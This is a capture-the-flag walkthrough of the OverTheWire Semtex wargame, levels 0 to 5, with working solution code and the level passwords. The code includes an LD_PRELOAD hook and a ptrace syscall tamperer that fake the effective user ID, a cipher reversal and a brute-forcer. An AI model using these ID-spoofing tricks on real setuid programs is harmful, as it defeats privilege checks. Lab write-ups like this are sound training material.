Description:
You have to solve Semtex 0 to get a username/password for login. Once logged in, you have to make your way from one level to the next, each one containing a small security hole/feature that has been installed for you. Your mission is to find out how to exploit the weakness and to cause interesting behavior :)

Level 0

semtex.labs.overthewire.org

Receive data until the port is closed.

Every second byte you receive is trash, ignore it. The other bytes are an executable that shows you the password.

Then login to semtex1@semtex.labs.overthewire.org on port 2229

x86/elf: amd64/elf: ppc/mach-O:
Connect to port 24000 Connect to port 24001 Connect to port 24002

I use a python program to discard every second byte, and save every first byte to a file named hello. When we execute it, we can get the password B#4j%XXc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import socket
import struct

HOST = 'semtex.labs.overthewire.org'
PORT = 24000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

program = ""
while True:
	data = s.recv(2)
	if not data:
		break
	program += data[0]

f = open('hello', 'w')
f.write(program)
f.close()

Level 0 -> Level 1

A password has been crypted using the /semtex/semtex1 tool. The crypted password is HRXDZNWEAWWCP. You have to reverse engineer the algorithm and decrypt the password. You might try the -v switch for encrypt.

The ciphertext given to us is HRXDZNWEAWWCP, which contains 13 characters. If we execute /semtex/semtex1 AAAAAAAAAAAAA, we can get the ciphertext AXMDNNPKTEKUL. And replace AAAAAAAAAAAAA with BAAAAAAAAAAAA, we can get AXMDNNPKTELUL, it seems that the 11th character has added 1. We can get the similar effect on other characters and positions with ABAAAAAAAAAAA, AABAAAAAAAAAA etc.

I write a python program to count the offset for us.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
dict = {'0': 10, '1': 7, '2': 12, '3': 9, '4': 2, '5': 11, '6': 4, '7': 1, '8': 6, '9': 3, '10': 8, '11': 5, '12': 0}

plain1 = "AAAAAAAAAAAAA"
plain2 = [''] * 13

cipher1 = "AXMDNNPKTEKUL"
cipher2 = "HRXDZNWEAWWCP"

for i in range(0, 13):
	index = dict[str(i)]
	if cipher2[index] >= cipher1[index]:
		diff = ord(cipher2[index]) - ord(cipher1[index])
	else:
		diff = 26 + ord(cipher2[index]) - ord(cipher1[index])

	plain2[i] = chr(ord("A") + diff)


print(''.join(plain2))

And we can get the plaintext, MUESLIMUHAHAH, which is also the password.


Level 1 -> Level 2

This program checks your user ID.

Perhaps you can trick it, so that it thinks you have a different one.

Think dynamically.

When we execute /semtex/semtex2, it will tell us

EUID == 6002
This is not the devils number. Think dynamically!

When we do ltrace, we can make sure that it uses geteuid() to get EUID. We can use function hooking in this challenge.

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
uid_t geteuid(void){
	printf("Hooked!!!\n");
	return 666;
}

After we run gcc -m32 -fPIC -c hookid.c, ld -shared -m elf_i386 -o hookid.so hookid.o -ldl, and LD_PRELOAD="./hookid.so" /semtex/semtex2, we can get the password jJjl2Msl.


Level 2 -> Level 3

You are almost on Semtex 3, there is just one big door before you. It is locked with a number lock. Analyze and use the locks in /semtex/semtex3 to adjust all the numbers in the correct way. They will open your way to the next level.

Tip : If you are not good at math, you should consider brute force. Rewrite the program and try all possible combinations of the locks. It wont take more than a few seconds ;)

Local Picture

After we tried every key, we can get the information about how each key interact with every lock. e.g. for key 1, it adds 5 on lock 1, adds 2 on lock 2, adds 1 on lock 3, adds 7 on lock 4, and adds 5 on lock 5.

We need to make every lock from 300 to 400, so we can brute force with different combinations of keys.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import itertools
import sys

keys = '12345678'
l1 = [5, 2, 1, 7, 5]
l2 = [13, -7, -4, 1, 5]
l3 = [9, 12, 9, 70, -4]
l4 = [-11, 9, 0, 5, -13]
l5 = [4, 17, 12, 9, 24]
l6 = [11, -17, 21, 5, 14]
l7 = [15, 31, 22, -12, 3]
l8 = [19, -12, 4, 3, -7]

m = [l1, l2, l3, l4, l5, l6, l7, l8]

for i in range(2, 20):
	possible_comb = itertools.combinations_with_replacement(keys, i)
	for comb in possible_comb:
		lock = [300, 300, 300, 300, 300]
		for key in comb:
			for j in range(5):
				lock[j] += m[int(key)-1][j]
		if lock.count(400) == 5:
			print("Got the combinations !!!")
			print(comb)
			sys.exit()

Finally, we can get the combination 1,1,2,2,2,3,4,5,5,5,6,7,7, which can make every lock to 400 and give us shell.

We can get the flag in /etc/semtex_pass/semtex4, which is d%kj1//...


Level 3 -> Level 4

Pass prints the password for the level you are on. Try to make it print the next level’s password. This time it is not so easy:

When we execute /semtex/semtex4, it gives us your password is d%kj1//... If we use strace, we can see that it uses geteuid to get id. However, since this program is statically linked, we cannot use function hooking.

We need to use ptrace this time.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/reg.h>

int main(){

    int status;
    int euid = 6005;
    int current_EAX;
    int pid = fork();
    char *path = "/semtex/semtex4";
    
    // child process
    if (pid == 0) {
        ptrace(PTRACE_TRACEME, NULL, NULL, NULL);
        execlp(path, path, 0, NULL);
    } else {
        // parent process
        wait(&status);
        while (1) {
            ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
            wait(&status);
            if (WIFEXITED(status) != 0) break;

            // get syscall
            current_EAX = ptrace(PTRACE_PEEKUSER, pid, ORIG_EAX * 4, NULL);
            if (current_EAX == SYS_geteuid32) {
                // set eax to 6005
                ptrace(PTRACE_POKEUSER, pid, EAX * 4, euid);
            }
        }
    }
    return 0;
}

It creates a child process to execute /semtex/semtex4, and the parent process trace its syscall. If the child process is executing geteuid, it will put 6005, which is the id of semtex5, to the output. In this way, we can make our euid to 6005 and get the password HELICOTRMA.


Level 4 -> Level 5

Make 10 connections to port 24027 from different IP’s. On each connection you will receive a string of 10 ASCII characters. XOR this string with the Semtex5 password, character by character. Then send back the 10 characters followed by another string of exactly 10 characters which identifies you (can be anything within A-Z, a-z, 0-9). The first 10 characters that you send, are different on every connection, the last 10 have to be the same. If you do not send the correct string back within 5 seconds you are disconnected. Once connected with at least 10 different IP’s You will receive the password on one connection, chosen randomly.

**Note: Your connections time out in 2 minutes and you cannot connect from an IP that is still connected. May the sockets be with you. **

For this challenge, we need to use multi-thread because the password will be sent on random connection after all connection got the right answer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket
import threading
import time

HOST = 'semtex.labs.overthewire.org'
PORT = 24027
IP = ['127.0.0.10', '127.0.0.11', '127.0.0.12', '127.0.0.13', '127.0.0.14', '127.0.0.15', '127.0.0.16', '127.0.0.17', '127.0.0.18', '127.0.0.19']
identifier = 'l3ol3ol3ol'
semtex5_password = 'HELICOTRMA'
threads = []


def challenge(num):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind((IP[num], 0))
	s.connect((HOST, PORT))
	string = s.recv(10)
	ans = ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(string, semtex5_password))
	ans += identifier
	s.send(ans)
	print("Thread %d sent" % num)
	time.sleep(15)
	print(s.recv(1024))
	print("Thread %d done" % num)


for i in range(10):
	threads.append(threading.Thread(target = challenge, args = (i,)))

for j in range(10):
	threads[j].start()

for k in range(10):
	threads[k].join()

print("All Done!")

We put the connection part in function challenge. First, we create 10 threads, each thread executes challenge with different IP addresses. Once they sent the answer back to the server, they will sleep for 15 seconds to wait for other threads. One of the connection can get the password again_mue5li at the end.


Level 5 -> Level 6

Not open yet.